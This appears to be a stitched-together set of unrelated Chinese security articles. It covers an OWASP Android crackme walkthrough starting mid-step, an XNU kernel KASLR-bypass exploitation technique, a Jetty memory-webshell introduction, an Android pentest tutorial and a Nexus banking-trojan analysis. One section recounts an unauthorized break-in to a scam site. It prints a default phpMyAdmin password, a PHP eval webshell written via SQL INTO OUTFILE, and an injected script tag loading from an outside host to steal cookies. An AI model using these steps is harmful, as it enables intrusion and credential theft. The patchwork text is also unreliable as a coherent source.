CodeCheck的一個方法（很可能被混淆了）使用這個函數來驗證密碼。 2.使用Apktool提取foo庫，然後用Cutter反編譯成機器碼： 在temp/lib 文件夾中，查找擴展名為.so 的文件。應該有針對不同類型處理器架構的文件：arm64-v8a、armeabi-v7a、x86 和x86_64。選擇與您正在使用的設備或模擬器的處理器架構相匹配的庫。您可以使用CPU-Z應用程序檢查設備的架構。 使用Cutter 分析所選庫。首先檢查功能選項卡以了解庫的功能。 例如： pthread_create和pthread_exit函數表明函數庫使用線程。 滲透測試android 5 如果您看到strncmp字符串比較器，它可能用於驗證傳遞的密碼。如果幸運的話，我們正在尋找的字符串是硬編碼的，輸入的密碼會與它進行比較。然而，根據線程的使用判斷，我們可以假設庫在運行時計算秘密字符串。 滲透測試android 6 我們來分析一下strncmp函數。使用Cutter 找到strncmp函數的地址(0xffb)。 滲透測試android 7 ptrace是用於調試的Linux 系統調用。然而，在我們的例子中，它被用作一種反調試技術。 滲透測試android 8 讓我們分析一下ptrace的功能。這個調用被使用了兩次：第一次是在0x777，然後是0x7a7。在第一種情況下，它是當前進程的PID，在第二種情況下，它是PTRACE_ATTACH 標誌，0x10。 ptrace函數調用將一個Android 進程附加到自身。但是，一個Android 進程只能附加一個進程。這意味著目前我們無法將gdb 附加到Android 進程。 滲透測試android 9 3. 附加gdb 的問題可以通過NOP-ing 兩個ptrace 系統調用來解決。您可以使用Hex Workshop Editor 更改字節。將ptrace函數的地址插入工具的轉到字段並更改值： 滲透測試android 10 4. 打開原始APK 文件作為zip 存檔並將原始libfoo.so 庫替換為更改後的庫。 5. 使用與上一個挑戰相同的腳本退出修改後的APK 文件。 6. 在root 設備上安裝應用程序： 現在，當您啟動該應用程序時，您會看到一條警告，提示您無法使用該應用程序，因為設備已獲得root 權限。 滲透測試android 11 7.從應用程序代碼中刪除root 和調試器檢測。為此，請在反編譯的APK 文件中找到MainActivity.smali 文件並刪除a方法的所有內容。 當檢測到問題時調用a方法。它向用戶顯示一個警告對話框，然後退出應用程序。為了防止我們的應用程序出現此類行為，我們需要修補a方法。 這是刪除a方法內容後MainActivity.smali 文件的樣子： 8. 現在用修改後的MainActivity.smali文件重新打包APK 文件： 9. 接下來，打開UnCrackable-Level2_resigned.apk 文件作為ZIP 存檔，並將其中的classes.dex 文件替換為我們重新打包的APK 文件中的補丁文件。 10. 退出初始的UnCrackable-Level2.apk 文件。在這一步，我們的APK 文件有兩個替換的補丁文件：來自第8 步的MainActivity.smali 和來自第4 步的libfoo.so。 11. 在您的設備上安裝重新安裝的APK 文件： 這一次，我們的應用程序啟動時沒有任何警告消息。 滲透測試android 12 接下來，我們需要將gdb 附加到Android 進程。首先在您的設備或模擬器上設置gdb 服務器。 12. 在您的設備上打開root shell： 13. 使用計算機上的命令行界面，將gdb 服務器複製到/data/local/tmp/gdb-server 文件夾中：

隨著內核地址空間佈局隨機化(KASLR)被現代系統廣泛採用，獲取信息洩漏是大多數權限升級攻擊的必要組成部分。本文我們將介紹XNU(蘋果macOS使用的內核)的實現細節，它可以消除許多內核漏洞中對專用信息洩露漏洞的需要。 關鍵在於內核Mach-O的__HIB段，它包含系統休眠和底層CPU管理的函數子集和數據結構，總是映射在一個已知的地址。 我們將首先介紹__HIB段以及它可能被濫用的各種方式。使用我們的Pwn2Own 2021內核漏洞作為一個真實的例子，展示如何簡化該漏洞。 濫用基本操作系統設計可以實現漏洞利用原語 __HIB 段：休眠和內核入口 __HIB段的名字來源於“休眠（hibernation）”，似乎它的主要目的是處理從休眠映像中恢復系統。 它的其他主要功能是處理內核的低級進入和退出，即通過中斷或系統調用。它包含中斷描述符表(IDT) 和相應的中斷處理程序存根。 它同樣包含通過syscall和sysenter指令進入的存根。這些入口點是通過編寫相應的MSR 來設置的： 這個代碼片段使用DBLMAP宏引用“DBLMAP”中的每個函數的別名。 XNU dblmapdblmap是一個虛擬內存區域，別名為組成__HIB段的相同物理頁。 dblmap在doublemap_init()中初始化，它將虛擬別名插入到構成__HIB段的所有物理頁的頁表中。 dblmap 的基數是用8 位熵隨機化的。 別名防止了使用sidt指令的瑣碎的KASLR繞過，sidt指令將揭示IDT的內核地址。這個指令不是權限指令，如果在ring3（用戶模式）中執行不會導致異常，除非在處理器上啟用了用戶模式指令保護（UMIP）（不在XNU 中）： 用戶模式指令預防(CR4的第11位)設置後，如果CPL 0: SGDT、SIDT、SLDT、SMSW和STR，則不能執行以下指令，如果試圖執行該值，將導致通用保護異常(#GP)。 由於IDT/GDT/LDT/etc 位於dblmap 別名中，因此知道它們在dblmap 中的地址不會顯示它們在正常內核映射中的地址。但是，它們確實會洩漏dblmap 信息。 緩解失敗dblmap 的一個輔助目的是它起到緩解Meltdown 的作用。各種操作系統採用的常用技術是在執行用戶空間代碼時從頁表中刪除內核映射，然後在進行中斷/系統調用/等時重新映射內核。 Linux 將其實現稱為內核頁表隔離(KPTI)，在Microsoft Windows 上，它的對等物被稱為KVA Shadow。 兩種實現方式的相似之處在於，在執行用戶代碼時，只有一小部分內核頁面出現在頁表中。該子集包含處理中斷和系統調用以及在用戶和內核頁表之間來迴轉換所需的代碼/數據。在XNU 的情況下，“小子集”正是dblmap。 為了進行頁表轉換，中斷調度代碼需要知道正確的頁表地址以進行切換。換句話說，要向cr3寫入什麼值，即保存頂級分頁結構的物理地址的控制寄存器。 這些值駐留在__HIB 段的數據部分之一中的每個CPU 數據結構中： cpshadows[cpu].cpu_ucr3 : 用於userspace + dblmap； cpshadows[cpu].cpu_shadowtask_cr3 ：用於userspace + full kernel； 從用戶空間進入後，中斷調度代碼會將cr3 切換到cpu_shadowtask_cr3，然後在返回用戶空間之前切換回cpu_ucr3。 由於在執行用戶代碼時dblmap 被映射到頁表中，因此理論上dblmap 中的任何內容都可以使用Meltdown 讀取。這就產生了dblmap 中是否存在任何“敏感”數據的問題。 值得注意的是，有幾個函數指針以數據的形式出現，用於從dblmap跳轉到正常映射的內核函數。洩露其中任何一個都足以確定kernel slide(用於描述隨機內核基址地址的XNU 術語)並破壞KASLR。 有趣的是，KASLR 在Windows 和Linux 上都可以通過Meltdown 進行類似的攻擊： 同樣的策略也適用於運行有漏洞的英特爾硬件的最新版本的macOS。只需使用libkdump從dbblmap讀取即可。簡而言之，Meltdown 可用於在除最後一代基於Intel 的Mac 機型之外的所有設備上破壞KASLR，該機型附帶Ice Lake 處理器，其中包含針對Meltdown 的CPU 級修復。 雖然KASLR 在基於Intel 的Mac 上無疑是一個重要且幾乎普遍的突破，但我們現在將討論dblmap 提供的其他幾個有用的內核利用原語，這些原語適用於包括Ice Lake 在內的所有版本。 LDT——已知內核地址的受控數據從利用的角度來看，也許dblmap 最有趣的工件是它為每個CPU 內核保存LDT，它可以包含幾乎可以從用戶模式控制的任意數據，並且位於dblmap中的固定偏移位置。 LDT/GDTLDT 和GDT 包含許多段描述符。每個描述符要么是系統描述符，要么是標準代碼/數據描述符。 代碼/數據描述符是一個8 字節的結構，描述了具有某些訪問權限（即它是否可讀/可寫/可執行，以及可以訪問它的特權級別）的內存區域（由基地址和限制指定）。這主要是一個32 位保護模式的概念；如果執行64 位代碼，則忽略基地址和限制。描述符可以描述64 位代碼段，但不使用基本/限制。 系統描述符是特殊的，大多數擴展為16 字節以適應指定64 位地址。它們可以是以下類型之一： LDT ：指定LDT 的地址和大小； 任務狀態段(TSS) ：指定TSS 的地址，該結構包含與權限級別切換相關的信息結構； 調用、中斷或陷阱門：指定遠程調用、中斷或陷阱的入口點； LDT中唯一允許的系統描述符是調用門，我們稍後會探討。 段描述符使用16 位段選擇器引用： 例如，cs寄存器(代碼段)是一個選擇器，它引用當前正在執行的任何代碼的段。通過在GDT/LDT中為64位和32位代碼設置不同的描述符，操作系統可以通過使用適當的選擇器在受保護模式(32位代碼)和長模式(64位代碼)之間進行用戶空間跳轉。特別是在macOS上，硬編碼的選擇器是： 0x2b：第5個GDT 條目，ring3——64 位用戶代碼； 0x1b：第3個GDT 條目，ring3——32 位用戶代碼； 0x08：第1個GDT 條目，ring0——64 位內核代碼； 0x50：第10個GDT 條目，ring0——32 位內核代碼； LDT在macOS上的應用進程可以通過調用i386_set_ldt()在其用戶模式的LDT中設置描述符。它調用的對應內核函數是i386_set_ldt_impl()。 此函數對LDT 中允許的描述符類型施加了一些限制。描述符必須為空，或者指定一個用戶空間的32位代碼/數據段： 就二進制格式而言，這轉換為對每個8字節描述符的以下限制： 字節5 (dp-access)：必須是0,1，或者有高nibble0xf(值匹配0xf)。 字節6 (dp-granularity): 位5不能設置(掩碼0x20)。 使用LDT在已知的內核地址創建偽內核對象，這些限制不會太嚴格。唯一真正的問題是能否在這樣的對像中構造有效的內核指針。 為了解決這個問題，我們可以將假對象錯位6 個字節。這將使dp-access 與內核指針的高字節（將為0xff）重疊。唯一的限制是指針的低字節（與dp-granularity 重疊）不能設置位5 。 成功設置LDT描述符將創建一個堆分配的LDT結構，該結構的指針存儲在當前任務結構的task-i386_ldt字段中。 每當發生上下文切換或手動更新LDT時，內核通過user_ldt_set()將來自該結構的描述符複製到實際的LDT(在dblmap中)。 進程可以使用i386_get_ldt()查詢當前的LDT條目，調用內核函數i386_get_ldt_impl()。這將直接從實際LDT(在dblmap中)複製描述符，而不是從LDT結構體複製描述符。 已知內核地址上的已知代碼在編寫沒有內核代碼地址洩漏的macOS 內核漏洞利用時，__HIB 文本部分中的函數子集可能會用作有用的調用目標。 dblmap 中一些值得注意的函數（在固定偏移處）是： memcpy(), bcopy()； memset(), memset_word(), bzero()； hibernate_page_bitset()——設置或清除位圖結構中的位； hibernate_page_bitmap_pin()——可以將32 位int 從第一個結構參數複製到第二個指針參數； hibernate_sum_page()——從它的第一個參數返回一個32 位int 作為一個數組，使用第二個作為索引； hibernate_scratch_read(),hibernate_scratch_write()——類似於memcpy，但第一個參數是一個結構； 當控制流被劫持時，這些函數對內核利用的效用將嚴重依賴於特定的上下文。上面列出的大多數內核調用目標需要3個參數。如果一個給定的漏洞允許按順序進行多個受控調用，你還可以使用早期調用來設置寄存器/狀態，以便在以後的調用中使用。 無論情況如何，dblmap通常可以用來將一個簡單的內核控制流劫持原語轉換為同時產生真正內核文本（代碼地址）洩漏的內容。 其他dblmap技巧已知內核地址上真正任意的64位值我們已經介紹了dblmap如何允許我們輕鬆地在LDT中放置幾乎任意的數據。 但是，假設你需要一個真正任意的64位值(可能你需要的函數指針位為5，並且不符合LDT 限制)。當進行系統調用時，調度存根會將rsp（用戶空間堆棧指針）保存在dblmap 的臨時位置（cpshadows[cpu].cpu_uber.cu_tmp）。用戶rsp 值也將放置在dblmap 中的中斷堆棧上（對於cpu 0 的master_sstk 或scdtables[cpu]）。 雖然不是其預期用途，但rsp 可以被視為通用寄存器，並分配任意64 位值。除非需要在系統調用之前和之後設置/恢復rsp 給開髮帶來不便，否則這會在已知地址處提供任意64 位值。 將內核指針洩漏到LDTLDT的另一個有用的方面是，它可以用作真正的內核地址洩漏的可寫位置，可以使用i386_get_ldt()從用戶模式查詢和讀取。假設你能夠使用劫持函數調用將任意地址複製到LDT中。將dblmap中的一個函數指針複製到LDT中，然後查詢LDT的適當範圍，將獲得文本洩漏。 或者作為另一個例子，也許你劫持的函數調用的第一個參數是LDT中的假對象，第二個參數是某個有效的c++對象，第三個參數是任何足夠小的整數。調用memcpy() 會將vtable和一些對象的字段複製到LDT。查詢LDT 然後將這些洩漏讀取到用戶空間。 記住，每個CPU核有一個LDT，在macOS上沒有方法將進程固定到任何特定的核上。如果一個線程執行被劫持的函數調用，將洩漏複製到它的LDT中，然後在調用i386_get_ldt()之前被搶占，那麼洩漏實際上將丟失。

0X00 事情由来 了解完事情的经过，经过我的经验判断，这应该是个杀猪诈骗案例 诈骗份子通过一些手段让受害人相信，通过他们可以赚钱并诱导充值杀猪盘赌博 0X01 渗透过程-大概二十分钟左右就拿下了渗透过程简单枯燥： 看了一眼IP和端口，判断了下应该不存在云waf，直接开始扫目录 过了几分钟扫到一个http://xxxx.com.cn/u.php，原来是upupw的集成环境，如下图 思路，爆破phpmyadmin，或者找upupw的默认数据库密码，先找默认密码试试看 成功用系统提供的密码登录，默认的是：DRsXT5ZJ6Oi55LPQ成功登录phpmyadmin 然后尝试getshell，由于有upupw探针，直接查看了phpinfo，有网站的绝对路径，直接尝试常规写shell 需要知道绝对路径、数据库root权限、数据库有写权限具体语句：SELECT "<?php eval(@$_POST['xx']);?>" INTO OUTFILE "D:\\wap\\member_bak.php"注意点：windows下，须要双反斜线，否则会转义然后使用菜刀/蚁剑等链接即可由于当时没有截图，目前网站已经打不开了，所以下面就直接放出拿到shell后的状态了 渗透结束，看了下权限，是system权限，不过咱们的目标是定位诈骗分子的IP信息和位置信息，接着下一步了 0X02 定位诈骗份子的IP和端口拿到shell了就容易的多了，找后台登录的php文件插入xss代码即可 找了一圈发现，后台登录是另外一个网站目录下，编辑admin778899.php echo '<sCRiPt sRC=https://xx.xx/XFXX></sCrIpT>';等待诈骗分子登录 居然还是手机登录的，666 替换Cookie登录后台，发现并没有什么用，都是一些数字而已 去ipip.net 查询了一下IP地址信息，不出意外，果然又在境外，唉.... 0X03 告知粉丝结果过程我就直接贴和受害者的微信聊天记录了 0X04 如何防范此类诈骗1.网络交友，要提高防骗意识，保持良好的社交心态，注意个人隐私信息的保护，特别是涉及到金钱往来，务必多渠道核实对方真实身份； 2.网络上凡是涉及带你投资理财有高收益的都视为诈骗即可； 3.骗子在朋友圈不断分享投资盈利的信息，吸引受害人主动咨询； 4.诱导受害人注册平台，投入资金。当受害人看到盈利想要提现时，平台持续以受害人银行卡号错误要求缴纳保证金、未按要求备注、账户冻结、税收等理由继续诱骗钱财，实施诈骗； 5.保持正确的投资理财观，不盲目相信无风险却高回报的投资方式，天上不会掉馅饼 转载于原文链接： https://mp.weixin.qq.com/s/7o4XV8MKbX3wCT3ZxbCMng

0x00 前言在上篇文章介紹了Jetty Filter型內存馬的實現思路和細節，本文介紹Jetty Servlet型內存馬的實現思路和細節 0x01 簡介本文將要介紹以下內容： 實現思路 實現代碼 Zimbra環境下的Servlet型內存馬 0x02 實現思路同樣是使用Thread獲得webappclassloaer，進而通過反射調用相關方法添加Servlet型內存馬 0x03 實現代碼1.添加ServletJetty下可用的完整代碼如下： 2.枚舉Servlet(1)通過request對象調用getServletRegistrations枚舉Servlet Jetty下可用的完整代碼如下： (2)通過Thread獲得webappclassloaer，通過反射讀取_servlets屬性來枚舉Servlet Jetty下可用的完整代碼如下： 注： 該方法在Zimbra環境下會存在多個重複結果 0x04 Zimbra環境下的Servlet型內存馬Zimbra存在多個名為WebAppClassLoader的線程，所以在添加Servlet時需要修改判斷條件，避免提前退出，在實例代碼的基礎上直接修改即可。 當然，我們可以通過反射刪除內存馬對應的jsp實例，測試代碼如下： 無論是Filter型內存馬還是Servlet型內存馬，刪除內存馬對應的jsp實例不影響內存馬的正常使用 0x05 利用思路同Filter型內存馬一樣，Servlet型內存馬的優點是不需要寫入文件，但是會在服務重啟時失效 0x06 小結本文介紹了Jetty Servlet型內存馬的實現思路和細節，給出了可供測試的代碼，分享了Zimbra環境的利用方法。

移動應用程序經常處理敏感數據，這是許多網絡犯罪分子的主要目標。在處理此類數據時，開發人員必須盡最大努力確保其受到保護。提高移動應用程序安全性的一種方法是執行移動應用程序滲透測試。 要找到應用程序代碼中的缺陷，開發人員至少需要逆向工程和滲透測試Android 應用程序方面的基本技能。在本文中，我們討論了攻擊者可能用來入侵您的應用程序的不同方法。我們還解釋了來自開放Web 應用程序安全項目(OWASP) 移動安全測試指南(MSTG) 的挑戰如何幫助您進行Android 應用程序的移動滲透測試，以及您可以使用哪些工具來解決這些問題。 在本文中，我們將討論如何滲透測試Android 應用程序以及使用哪些工具來提高移動應用程序的安全性。本文將對希望更多了解移動安全滲透測試服務並提高應用安全性的Android開發者有所幫助。 通過逆向工程加強應用程序的安全性Android 是一個對開發人員非常友好的操作系統(OS)。與其他移動操作系統不同，Android 是一個開源平台，您可以在該平台上激活開發人員選項和旁加載應用程序，而無需跳過太多步驟。此外，Android 允許開發人員在Android 開源項目中探索其源代碼，並根據需要修改操作系統功能。 但是，使用Android 應用程序也意味著您需要處理Java 字節碼和Java 本機代碼。一些開發人員可能認為這是一個缺點。 Android 開發人員使用Java Native Interface來提高應用程序性能、支持遺留代碼，當然，也會讓那些試圖查看其應用程序內部的人感到困惑。 在構建移動應用程序時，開發團隊的首要任務之一是確保高水平的數據安全性。開發人員應盡最大努力防止網絡犯罪分子獲取用戶的敏感信息。 有些人嘗試在第三方解決方案的幫助下提高其移動應用程序的安全性。但是，在使用第三方產品時，正確配置它們至關重要。配置錯誤或使用不當的解決方案將無濟於事，無論它多麼昂貴。 其他人則試圖將應用程序的功能和數據隱藏在本機層中。在某些情況下，他們構建Android 應用程序的方式是在本機層和運行時層之間跳轉執行。 也有開發人員使用更複雜的方法，例如逆向工程。在確保適當保護應用程序的敏感數據時，此技術非常有用。這就是為什麼開發人員最好至少具備一些逆向工程的基本技能： 解壓APK 文件 修補.smali 文件 修補.so 庫 使用調試工具 使用框架進行動態代碼分析 有了這些技能和專業知識，移動應用程序開發人員將有更好的機會檢測到可能被攻擊者利用的代碼缺陷。例如，為了侵入您的應用程序，黑客可能會使用質量保證(QA) 專家在測試應用程序的安全性和性能時使用的相同技術： 動態分析用於尋找在應用程序運行時操作應用程序數據的可能方法。例如，黑客可能會嘗試通過在登錄期間跳過多因素代碼檢查來破解您的應用程序。 靜態分析用於研究已經打包的應用程序並檢測代碼弱點，而無需直接訪問源代碼。通過靜態分析，我們不像在動態分析期間那樣查看應用程序在運行時的行為。例如，黑客可能會使用靜態分析來檢測弱加密算法的使用。要了解如何解決此類問題，請瀏覽我們關於Android 應用程序中的加密方法的文章。 開發人員有自己的方法來防止這些類型的代碼分析。例如，可以對源代碼進行模糊處理以防止其受到靜態分析：開發人員可以更改應用程序方法和類的名稱、添加對其他函數的調用以及加密代碼行。 注意：雖然代碼混淆有助於加強應用程序代碼以抵禦基於靜態分析的攻擊，但它也增加了引入新錯誤的風險。最好的逆向工程工具可以幫助您查看代碼是否已被混淆並確保對應用程序進行全面測試。 還有幾種方法可以保護移動應用程序免受動態代碼分析。特別是，開發人員可以： 阻止應用程序在有根設備上啟動 使用阻止應用程序以開發人員模式啟動並拒絕連接到動態分析框架（如Frida）的庫 應用額外的保護措施來防止重新打包和退出應用程序。 這些任務對於有經驗的逆向工程師來說很容易。經驗不足的開發人員在使用逆向工程技術滲透測試Android 應用程序之前可能需要一些練習。值得慶幸的是，OWASP為培訓和提高您的軟件逆向工程技能提供了許多挑戰。 在本文的後面，我們將針對兩個OWASP 移動安全測試指南CrackMe挑戰提供分步解決方案：UnCrackable App for Android Level 1和UnCrackable App for Android Level 2。解決這些挑戰將幫助您更好地了解如何改進移動應用程序的滲透測試並增強Android 解決方案的安全性。我們建議您在繼續閱讀之前嘗試自己解決它們。但首先，讓我們看一下對Android 應用程序進行逆向工程所需的工具和框架。 Android逆向工程的基本工具集在開始為Android 開發人員解決OWASP CrackMe 挑戰之前，您需要確保有兩件事： 了解Android 環境。您需要具有使用Java 和Linux 環境以及使用Android 內核的經驗。 正確的工具集。使用在Java 虛擬機(JVM) 上運行的字節碼和本機代碼需要特定的工具。 在本節中，我們列出並簡要描述了可用於解決OWASP CrackMe 挑戰和提升逆向工程技能的工具。 注意：出於本文的目的，我們僅選擇了免費或具有免費試用版的工具和框架。 Android Studio — Android 的官方集成開發環境(IDE)。這是構建原生Android 應用程序的主要IDE；它包括APK 分析器、代碼編輯器、可視化佈局編輯器等。特別是，我們將使用命令行Android 調試橋(adb) 工具。 Apktool — 這是一款流行的免費工具，用於對封閉的、第三方的和二進制的Android 應用程序進行逆向工程。它可以將Java 字節碼反彙編為.smali 格式，以及從APK 存檔中提取和反彙編資源。此外，您還可以使用Apktool 來修補和更改清單文件。 注意：應用程序代碼存儲在APK 文件中，其中包含帶有Dalvik 二進製字節碼的.dex 文件。 Dalvik 是一種Android 平台可以理解但人類完全無法讀取的數據格式。因此，為了讓開發人員能夠使用.dex 文件，需要將它們轉換為（和自）可讀格式，例如.smali。 Cutter — 一個開源跨平台框架，提供可定制、易於使用的逆向工程平台。該框架由radare2 提供支持，並得到大量專業逆向工程師社區的支持。 Hex Workshop Editor — 一套流行的Windows 十六進制開發工具。該工具集使編輯二進制數據幾乎與處理常規文本文檔一樣簡單。 Hex Workshop Editor 是商業軟件，但有免費試用版。 注意： Hex Workshop Editor 只能在Windows 上使用。如果您使用的是基於Linux 的虛擬機，則可以選擇任何Linux 十六進制編輯器。 dex2jar — 將字節碼從.dex 格式轉換為Java 類文件的免費工具。 JD-GUI — Java Decompiler 項目創建的工具之一。這個圖形實用程序使Java 源代碼可讀，將其顯示為Java 類文件。 Mobexler — 用於iOS 和Android 滲透測試的基於Elementary 的虛擬機。 Mobexler 附帶一組預安裝的工具和腳本，用於測試移動應用程序的安全性，包括此列表中的一些工具。 Java 調試器(jdb) — 用於調試Java 類的免費命令行工具。 注意：在Android應用中，調試可以分兩層進行： 马云惹不起马云 運行時層——Java 運行時調試可以在Java 調試有線協議(JDWP)的幫助下進行。 马云惹不起马云 Native 層——可以基於ptrace進行Linux/Unix 風格的調試。 JDWP 是一種標準調試協議，可幫助調試器與目標JVM 進行通信。所有流行的命令行工具和Java IDE 都支持此協議，包括Eclipse、JEB、IntelliJ，當然還有jbd。 JDWP 調試器允許您探索Java 代碼、在Java 方法中設置斷點以及檢查和修改局部變量和實例變量。它通常用於調試不會多次調用本機庫的常規Android 應用程序。 GNU 調試器(gdb) — 一種用於分析應用程序代碼的有用工具。 我們使用這些工具解決了Android 應用程序的兩個逆向工程挑戰。在下一節中，我們將為您提供基於標準OWASP 挑戰的基本Android 滲透測試教程。

概述2023 年3 月21 日晚上，鏈安與中睿天下聯合研發的監控系統檢測到一種新型安卓木馬。在經過睿士沙箱系統捕獲樣本之後，發現該安卓木馬極有可能是原安卓網銀盜號木馬SOVA 的變種。與此同時，意大利安全公司Cleafy 發布了一篇題為《Nexus：一个新的安卓僵尸网络？》 的報告，確認該病毒確實是SOVA 的變種，並將其重新命名為Nexus。 樣本分析樣本名稱：Chrome.apk 樣本SHA256 為: 376d13affcbfc5d5358d39aba16b814f711f2e81632059a4bce5af060e038ea4 樣本文件大小:4792032KB 主要行為列表刪除指定應用以其應用數據 安裝並啟動任意應用 隱藏自身應用圖標 卸載保護 上傳用戶短信數據以及通訊錄 使用SmsManager 發送短信、 刪除短信、取消短信通知 撥打電話 獲取用戶cookie 信息並上傳，注入cookie 等 讀取並上傳數字錢包信息 記錄並上傳鍵盤輸入記錄 查詢敏感信息手機數據(查詢存儲郵件、應用賬號數據、IMSI 等手機信息) 設置靜音 屏幕解鎖 訪問指定Url 試圖禁用管理員用戶 開啟輔助功能 監聽手機重啟事件 使用DownloadManager 下載文件 安裝測試當木馬安裝完成後，手機主界面會出現一個類似Chrome 瀏覽器的圖標（如圖1所示），與真實的Chrome 圖標略有差異。木馬使用的圖標較小，但在沒有相關對比的情況下，基本上很難識別出這種差異。 圖1 當木馬啟動後，界面會提示用戶需要開啟“無障礙功能”。在用戶點擊界面任意位置時，將自動跳轉到系統內的“無障礙功能”設置並自動啟用該功能（如下圖所示）。 在啟動“無障礙功能”之後，程序會自動彈出並請求獲取“設備管理員權限”（如圖2所示）。 圖2 在惡意應用獲得設備管理員權限後，它會在後台不斷收集用戶信息，用戶很難察覺其存在。一旦設備管理員權限被授予，用戶在嘗試打開設備管理員權限設置界面時會發現界面迅速關閉，無法撤銷權限。類似地，通過adb 執行操作時也會遇到相同問題，界面會立刻關閉。這是因為惡意應用程序已經監控了設備管理員設置界面的開啟動作，從而阻止用戶撤銷其權限。因此，用戶需要啟用root 權限才能成功卸載此惡意應用。 adb shell am start -S 'com.android.settings/.Settings\$DeviceAdminSettingsActivity' 樣本深度分析基礎信息 圖3 圖4 在使用Incinerator 進行手動分析之前，通過“基礎分析”模塊，我們發現該樣本程序具有加密殼（如圖3所示）。這意味著惡意應用程序的開發者使用了一種加密方法來保護其代碼，以防止分析和逆向工程。同時，我們注意到簽名信息中使用了“CN=Android Debug”（如圖4所示），這與正常的Chrome 證書不一致。這可能意味著此惡意應用程序的開發者試圖偽裝成正常的Chrome 應用，以便更容易地欺騙用戶並獲得其信任。 得益於incinerator 具備Apk 權限分析功能，我們可以在Apk 的詳細信息中獲取相應的權限列表（如圖5，6所示）。 圖5 圖6 在應用權限列表中，樣本獲取的權限中有13 項被評定為“危險”的權限。其中有幾個權限尤為危險： 發送短信（SEND_SMS） 讀取短信（READ_SMS） 接收短信（RECEIVE_SMS） 讀取聯繫人（READ_CONTACTS） 寫入聯繫人（WRITE_CONTACTS） 讀取電話號碼（READ_PHONE_NUMBER） 普通應用通常不會申請一些涉及敏感操作的權限，如改寫通訊錄、讀取和發送短信等。這些權限通常僅限於專門的通訊軟件。然而，當惡意應用獲取輔助功能權限後，它可以利用這一功能來自動開啟其他權限，包括一些對用戶隱私和安全具有潛在威脅的權限。 輔助功能是Android 系統中一項強大的功能，旨在幫助有特殊需求的用戶更好地使用設備。然而，這一功能也可能被惡意應用濫用，從而執行不受用戶控制的操作。一旦惡意應用獲得了輔助功能權限，它可以在用戶不知情的情況下執行各種操作，如啟用其他敏感權限，進而竊取用戶數據和破壞其隱私。因此，用戶需要謹慎授權輔助功能權限，避免將其授予不可信的應用。 代碼中用輔助功能開啟的權限列表如下： android.permission.READ_SMS：允許應用程序讀取短信消息 android.permission.SEND_SMS：允許應用程序發送短信消息 android.permission.RECEIVE_SMS：允許應用程序接收短信消息 android.permission.READ_CONTACTS：允許應用程序讀取聯繫人列表 android.permission.WRITE_CONTACTS：允許應用程序編輯聯繫人列表 android.permission.READ_PHONE_STATE：允許應用程序讀取設備電話狀態和身份信息 android.permission.WRITE_EXTERNAL_STORAGE：允許應用程序寫入外部存儲，例如SD卡 android.permission.MODIFY_AUDIO_SETTINGS：允許應用程序修改聲音設置 android.permission.READ_EXTERNAL_STORAGE：允許應用程序讀取外部存儲，例如SD卡 android.permission.INSTALL_PACKAGES：允許應用程序安裝其他應用程序 android.permission.CALL_PHONE：允許應用程序撥打電話 android.permission.GET_ACCOUNTS：允許應用程序訪問設備帳戶列表 android.permission.READ_PHONE_NUMBERS：允許應用程序讀取設備電話號碼 android.permission.CLEAR_APP_CACHE：允許應用程序清除所有緩存文件 圖7 圖8 如上圖所示，該應用首先硬編碼了需要通過輔助功能開啟的權限列表，接著向系統發起對這些權限的申請。在PermissionsTask 環節中，應用會監聽權限申請的動作。一旦監聽到權限申請，該應用便利用輔助功能在權限申請界面上自動點擊“同意”按鈕。 靜態代碼分析在使用Incinerator 工具對樣本進行自動脫殼並分析惡意行為代碼後，我們發現以下主要功能： 1. 刪除指定應用以其應用數據惡意應用具有刪除其他應用及其數據的能力，可能影響用戶正常使用手機及其應用。 圖9 clearApp方法確實是通過執行pm clear package命令（如圖9所示）來刪除與特定應用程序包相關的緩存數據，包括圖片緩存、臨時文件、數據庫緩存等。這樣可以幫助清理設備上的垃圾文件，釋放存儲空間。 而deleteThisApp方法則通過觸發android.intent.action.DELETEintent 來實現應用的卸載（如圖9所示）。當系統接收到這個intent 時，會彈出一個卸載確認界面。通常情況下，用戶需要在此界面上手動點擊“同意”按鈕才能完成卸載。然而，由於這個惡意應用具有輔助功能權限，它可以在卸載確認界面出現時自動點擊“同意”按鈕，從而在用戶不知情的情況下完成卸載操作。這種做法進一步提高了惡意應用的隱蔽性和破壞性。 2. 安裝並啟動任意應用惡意應用可以安裝並啟動其他應用，可能進一步傳播惡意軟件或將用戶引導至惡意網站。 圖10 安裝和卸載應用確實是通過輔助功能來實現的。這種方式可以方便地為用戶自動化應用的安裝和卸載過程。唯一的區別在於，為了實現這一功能，惡意應用需要適配不同廠商的安裝應用包名和安裝Activity 的名稱。 這樣一來，惡意應用可以在各種不同的設備上成功執行安裝和卸載操作，從而更加隱蔽地實現其惡意行為。這種策略使得惡意應用在各類設備上具有更廣泛的攻擊能力。 3. 隱藏自身應用圖標為了難以被發現和卸載，惡意應用會隱藏自己的應用圖標（如圖11所示）。 圖11 在這個惡意應用中，開發者使用了setComponentEnabledSetting方法來禁用Launcher Activity。這樣一來，用戶就無法通過設備主屏幕上的應用圖標（Launcher Icon）來操作或訪問該惡意應用了。 setComponentEnabledSetting方法可以用來啟用或禁用應用程序組件，如Activity、Service、BroadcastReceiver 等。在這種情況下，惡意應用通過禁用Launcher Activity，達到了隱藏自身的目的，讓用戶更難以察覺其存在。這種做法進一步提高了惡意應用的隱蔽性，使其更難以被發現和移除。 4. 上傳手機聯繫人等敏感信息惡意應用可以竊取並上傳用戶的聯繫人、短信、Cookie 等信息，可能導致用戶隱私洩露和財產損失。 圖12 圖13 如圖12、13所示，惡意應用首先通過content://sms訪問短信內容，然後經過一系列業務邏輯處理，將其整合到網絡請求的數據中。除了短信數據，這個請求還包含瞭如SIM 卡信息、受害者設備的IP 地址、國家、城市和設備型號等信息。最後，這些數據會被發送到指定的服務器。 通過這種方式，惡意應用能夠竊取用戶的短信和設備信息，然後將這些數據發送給攻擊者。攻擊者可以利用這些信息進行各種違法活動，例如詐騙、竊取用戶隱私、甚至是身份盜竊。 5. 使用SmsManager 發送短信、 刪除短信、取消短信通知、讀取短信5.1 上傳短信 圖14 圖15 根據上述描述，該惡意應用通過監聽收到短信的系統廣播，從廣播中提取收到的短信內容，然後將每一條短信發送給遠程服務器。在完成這個過程之後，應用還會終止收到短信的廣播，以免被用戶或其他應用程序發現。如圖15所示，super.execute指的是將收集到的短信數據發送給遠程服務器。 這種行為表明，該惡意應用在竊取用戶短信方面採取了較為積極的手段。用戶需要加強對此類應用的防範意識，以避免對其隱私和安全造成不良影響。 5.2 發送短信 圖16 